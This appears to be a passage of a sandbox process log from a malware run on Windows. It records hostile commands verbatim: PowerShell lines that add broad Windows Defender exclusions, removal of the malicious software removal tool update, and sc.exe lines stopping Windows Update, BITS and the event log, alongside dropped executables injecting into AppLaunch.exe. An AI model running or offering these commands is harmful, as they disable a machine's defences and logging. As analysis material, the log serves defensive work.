PID:2536

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4573.tmp" "c:\Users\Admin\AppData\Local\Temp\dtggfau1\CSC1EDEC12FD1084A20B1FBBD124E40A1D.TMP"
3⤵
PID:5168

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\elr0l0ez\elr0l0ez.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:3980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4554.tmp" "c:\Users\Admin\AppData\Local\Temp\elr0l0ez\CSC2BDFFE0760564EE8A6599490888AD6B1.TMP"
3⤵
PID:3088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wewfvewq\wewfvewq.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:236

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4593.tmp" "c:\Users\Admin\AppData\Local\Temp\wewfvewq\CSCCEF22D817E364F87BFED3EACCD1B90.TMP"
3⤵
PID:5076

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ogwbih4w\ogwbih4w.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:680

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES45E0.tmp" "c:\Users\Admin\AppData\Local\Temp\ogwbih4w\CSCC540A37E9744A3FBA4D934432EA9290.TMP"
3⤵
PID:2876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\meuh2xia\meuh2xia.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:3376

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES462F.tmp" "c:\Users\Admin\AppData\Local\Temp\meuh2xia\CSC5329D1043584D7C9A745D7837CDD1F.TMP"
3⤵
PID:5156

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j0ptxi0y\j0ptxi0y.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:4532

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES46EA.tmp" "c:\Users\Admin\AppData\Local\Temp\j0ptxi0y\CSC7D4DB98CA57540209D84AB80D77FD65A.TMP"
3⤵
PID:5460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:704

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:3784

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4948

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1512

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1088

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5456

C:\update\tn4vqfm.exe
"C:\update\tn4vqfm.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:4772

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:352

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4evxzrg0\4evxzrg0.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:2476

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6E77.tmp" "c:\Users\Admin\AppData\Local\Temp\4evxzrg0\CSC657CAA07894C47DC8F3DDF88263C3947.TMP"
3⤵
PID:4404

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zvaow3mu\zvaow3mu.cmdline"
2⤵
PID:2568

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EB6.tmp" "c:\Users\Admin\AppData\Local\Temp\zvaow3mu\CSCB2EE1544860D498184D1FEA1B0254E4B.TMP"
3⤵
PID:2860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4316

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0osgbeld\0osgbeld.cmdline"
2⤵
PID:4860

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7BF4.tmp" "c:\Users\Admin\AppData\Local\Temp\0osgbeld\CSCA08847E0D021441593C5A9A5771F154A.TMP"
3⤵
PID:4672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4940

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nfbhhhhp\nfbhhhhp.cmdline"
2⤵
PID:5304

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82AB.tmp" "c:\Users\Admin\AppData\Local\Temp\nfbhhhhp\CSCA89E3C3416441BD84CBB2FA2DCA8A4.TMP"
3⤵
PID:5164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5884

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gijyf3sw\gijyf3sw.cmdline"
2⤵
PID:2540

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8AD9.tmp" "c:\Users\Admin\AppData\Local\Temp\gijyf3sw\CSC5D5BE428CC144CADBEFCC5FFFCA0806B.TMP"
3⤵
PID:5380

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5568

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1pzwh0gv\1pzwh0gv.cmdline"
2⤵
PID:4580

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9299.tmp" "c:\Users\Admin\AppData\Local\Temp\1pzwh0gv\CSCB00ADF29E12A4DBDBCC6767642675DC6.TMP"
3⤵
PID:4184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1144

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jxvbure5\jxvbure5.cmdline"
2⤵
PID:5964

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4772

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C8C.tmp" "c:\Users\Admin\AppData\Local\Temp\jxvbure5\CSC96E8F98D87CE4AEB9D4FC2CE841C56B4.TMP"
3⤵
PID:3648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5244

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3ys5ymdu\3ys5ymdu.cmdline"
2⤵
PID:4212

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA44C.tmp" "c:\Users\Admin\AppData\Local\Temp\3ys5ymdu\CSCC7DC68EDD62248EEA944185E99167C9A.TMP"
3⤵
PID:4432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1176

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wf4bpoko\wf4bpoko.cmdline"
2⤵
PID:5512

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5F2.tmp" "c:\Users\Admin\AppData\Local\Temp\wf4bpoko\CSC32BE52B391744B6C98EEDEAA0FF8188.TMP"
3⤵
PID:356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:376

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\t0j0f5an\t0j0f5an.cmdline"
2⤵
PID:4408

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB014.tmp" "c:\Users\Admin\AppData\Local\Temp\t0j0f5an\CSC3CA1D57D1FA14DF3A41EF04686E73FF.TMP"
3⤵
PID:5484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4108

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f5d3qpxy\f5d3qpxy.cmdline"
2⤵
PID:4860

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB813.tmp" "c:\Users\Admin\AppData\Local\Temp\f5d3qpxy\CSCF39520FD1C10411B8A57B21C965FA049.TMP"
3⤵
PID:4944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5980

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\symkeagh\symkeagh.cmdline"
2⤵
PID:5636

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBF66.tmp" "c:\Users\Admin\AppData\Local\Temp\symkeagh\CSC2D67A0EE161F46498AEC60453335A753.TMP"
3⤵
PID:3688

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5704

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\d3wbqikg\d3wbqikg.cmdline"
2⤵
PID:5996

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC523.tmp" "c:\Users\Admin\AppData\Local\Temp\d3wbqikg\CSCB0DBEC4DC1094DE9813CB9972EFCFF6E.TMP"
3⤵
PID:5544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5776

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\khmlcexy\khmlcexy.cmdline"
2⤵
PID:1016

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD31.tmp" "c:\Users\Admin\AppData\Local\Temp\khmlcexy\CSCE5178094E2947C998C46BE5A9892886.TMP"
3⤵
PID:5576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:4084

C:\update\03p4voy.exe
"C:\update\03p4voy.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5752

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:5520

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:3300

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:4632

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:4624

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1116

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:6064

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:1636

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:4164

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:5972

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
- Launches sc.exe
PID:2716

C:\update\sy1apmc.exe
"C:\update\sy1apmc.exe"
2⤵
- Executes dropped EXE
PID:4616

C:\update\bubtq4k.exe
"C:\update\bubtq4k.exe"
2⤵
- Executes dropped EXE
PID:2972

C:\update\10dnmj2.exe
"C:\update\10dnmj2.exe"
2⤵
- Executes dropped EXE
PID:4576

C:\update\wuggnqj.exe
"C:\update\wuggnqj.exe"
2⤵
- Executes dropped EXE
PID:4564

C:\update\cx0e4xw.exe
"C:\update\cx0e4xw.exe"
2⤵
- Executes dropped EXE
PID:2600

C:\update\cc4bdbo.exe
"C:\update\cc4bdbo.exe"
2⤵
- Executes dropped EXE
PID:3928

C:\update\rad3jcs.exe
"C:\update\rad3jcs.exe"
2⤵
- Executes dropped EXE
PID:3672

C:\update\g1edezj.exe
"C:\update\g1edezj.exe"
2⤵
- Executes dropped EXE
PID:3552

C:\update\hvqqpah.exe
"C:\update\hvqqpah.exe"
2⤵
- Executes dropped EXE
PID:3624

C:\update\5vddwiy.exe
"C:\update\5vddwiy.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1604

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:3336

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1856

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:1372

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:4932

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
PID:364

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:4944

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:1512

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
- Launches sc.exe
PID:4108

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
PID:5484

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
PID:4408

C:\update\sqr41w0.exe
"C:\update\sqr41w0.exe"
2⤵
- Executes dropped EXE
PID:6000

C:\update\ytfmw4p.exe
"C:\update\ytfmw4p.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5316

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:4208

C:\update\ad33xoe.exe
"C:\update\ad33xoe.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5572

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:3840

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:4312

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:5440

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:4400

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:352

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:4392

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:4100

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5996

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:5224

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:4540

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
PID:5784

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
- Launches sc.exe
PID:1944

C:\update\4nx3rta.exe
"C:\update\4nx3rta.exe"
2⤵
- Executes dropped EXE
PID:5444

C:\update\kkxpsd3.exe
"C:\update\kkxpsd3.exe"
2⤵
- Executes dropped EXE
PID:5760

C:\update\v5latbk.exe
"C:\update\v5latbk.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:3332

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:5708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1896

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:3600

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:2316

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
PID:2700

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
PID:6100

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:3912

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5980

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:5944

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
PID:2972

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
- Launches sc.exe
PID:2360

C:\update\dt1fmu5.exe
"C:\update\dt1fmu5.exe"
2⤵
- Executes dropped EXE
PID:5988

C:\update\ajqpuhu.exe
"C:\update\ajqpuhu.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:3808

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2480

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:1884

C:\update\opmuywu.exe
"C:\update\opmuywu.exe"
2⤵
- Executes dropped EXE
PID:2340

C:\update\fd0f4ra.exe
"C:\update\fd0f4ra.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:5704

C:\update\omy2os5.exe
"C:\update\omy2os5.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2972

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:4632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:5504

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5576

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:5200

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:616

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
PID:584

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:3688

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
PID:5376

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:5496

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
- Launches sc.exe
PID:1232

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:4408

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
PID:5180

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
PID:2868

C:\update\ywbejni.exe
"C:\update\ywbejni.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5732

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:4548

C:\update\nlruekb.exe
"C:\update\nlruekb.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
